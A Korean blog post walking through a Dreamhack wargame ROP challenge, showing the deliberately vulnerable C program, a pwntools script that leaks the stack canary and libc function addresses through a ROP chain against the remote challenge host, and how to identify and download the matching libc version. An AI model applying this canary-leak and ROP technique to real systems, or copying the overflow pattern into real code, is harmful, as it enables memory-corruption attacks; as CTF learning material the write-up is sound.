라이브러리 찾기

#코딩노예#·2022년 7월 15일
0

기타

목록 보기
4/16

워게임을 풀다 보면 라이브러리 버전을 찾아야 할 때가 있는데, Dreamhack의 rop 문제를 통해 라이브러리 버전을 찾아보겠습니다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

setvbuf, printf, read, puts처럼 문제 코드에서 사용된 함수들의 주소를 통해 라이브러리를 찾을 수 있습니다.


libc database search (nullbyte.cat)

위 사이트에 찾은 함수들의 주소 끝 3자리를 입력하면 자동으로 라이브러리 버전을 찾아줍니다.


한번 해보면

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))


p = remote("host2.dreamhack.games", 23468)
e = ELF("./rop")
r = ROP(e)



# [1] Leak Canary
def Leak_Canary():
    buf = b'A'*(0x40-7)
    p.sendafter("Buf: ", buf)
    p.recvuntil(buf)
    canary = u64(b'\x00'+p.recvn(7))
    slog("Canary", canary)

    return canary


# [2] Leak offset
def Leak_Offset(canary, func):
    leak_got = e.got[func]
    puts_plt = e.plt['puts']
    pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]

    payload = b'A'*56 + p64(canary) + b'B'*8

    # puts(leak@got)
    payload += p64(pop_rdi) + p64(leak_got) # puts(read@got)
    payload += p64(puts_plt)        # puts(read@got) 호출

    p.sendafter("Buf: ", payload)   # puts()와 read got를 이용해서 read() 주소 출력
    leak = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
    
    return leak



canary = Leak_Canary()

log.info("Leak Offset")
func = input("Input function: ")
func = func[0:len(func)-1]
offset = Leak_Offset(canary, func)
slog(func, offset)

[*] Leak Offset
Input function: setvbuf
[+] setvbuf: 0x7fe8295173d0

[*] Leak Offset
Input function: puts
[+] puts: 0x7fc83eeafaa0

[*] Leak Offset
Input function: read
[+] read: 0x7fb66e5e1140

코드에서 사용된 함수들의 주소를 찾고


사이트에 각 함수들의 주소 끝 3자리를 입력을 해보면

두개의 라이브러리를 찾아주었습니다.


system 함수의 offset을 봐보면 0x04f550으로 동일하게 나옵니다.
rop 문제에서는 system 함수의 offset만 구할 거기 때문에, 둘중 아무거나 써도 될 거 같습니다.


 kali@kali  ~/wargame/dreamhack/rop  wget "https://libc.nullbyte.cat/d/libc6_2.27-3ubuntu1.4_amd64.so"             
--2022-06-10 22:14:29--  https://libc.nullbyte.cat/d/libc6_2.27-3ubuntu1.4_amd64.so
Resolving libc.nullbyte.cat (libc.nullbyte.cat)... 172.67.157.139, 104.21.50.62, 2606:4700:3033::ac43:9d8b, ...
Connecting to libc.nullbyte.cat (libc.nullbyte.cat)|172.67.157.139|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2030928 (1.9M) [application/octet-stream]
Saving to: ‘libc6_2.27-3ubuntu1.4_amd64.so’

libc6_2.27-3ubuntu1.4_amd64.so         100%[===========================================================================>]   1.94M  1.35MB/s    in 1.4s    

2022-06-10 22:14:35 (1.35 MB/s) - ‘libc6_2.27-3ubuntu1.4_amd64.so’ saved [2030928/2030928]

이제 이 라이브러리를 offset을 구하는 데 사용하려면, Download에서 오른쪽 마우스를 눌러서 링크 복사를 하고 wget 명령어를 통해 다운로드를 해줍니다.


그 후 익스플로잇 코드에

libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")

위에 처럼 작성해주면 이제 문제에서 해당 라이브러리를 사용할 수 있습니다.

0개의 댓글